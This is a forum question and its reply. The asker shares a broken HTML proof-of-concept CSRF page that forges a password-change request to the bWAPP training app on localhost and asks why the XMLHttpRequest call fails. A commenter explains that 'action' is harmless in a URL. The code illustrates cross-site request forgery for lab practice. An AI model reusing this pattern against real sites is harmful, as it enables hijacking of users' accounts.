<html>
<h1>POC CSRF</h1>
<form>
Enter bWAPP Password:<input type="password" id="password" placeholder="password">
</form>
<script>
function httpGet(theURL)
{
var pass = document.getElementById("password");
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function(){
if(xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET","http://localhost/bWAPP/csrf_1.php?password_curr=${pass}&password_conf=bee&action=change&password_new=bee"$
xmlHttp.send(null);
}
</script>
</br>
<noscript>Clever!, Never allow javascript to execute in browser</noscript>
<button onclick=httpGet("/admin")>click me!</button>
</html>
Here I am not able to make the .open() method work first due to action keyword (reserved in html) which breaks the method and secondly I guess the pass variable is also an issue.
What I need : I need help to make browser load http://localhost/bWAPP/csrf_1.php?password_curr=${pass}&password_conf=bee&action=change&password_new=bee upon clicking click me button! where pass is the password entered by user.
action
is an attribute of aform
HTML tag. Outside of this it has no special meaning. It specifically has no special meaning inside a URL as in your case. As I said, this looks like a coding issue. The right place to ask this would be stackoverflow.com. But don't forget to actually provide way more details of the problem and what you tried and what you expected and what you got when asking there instead just "I am not able to make [..it..] work". – Steffen Ullrich Jun 30 '19 at 17:20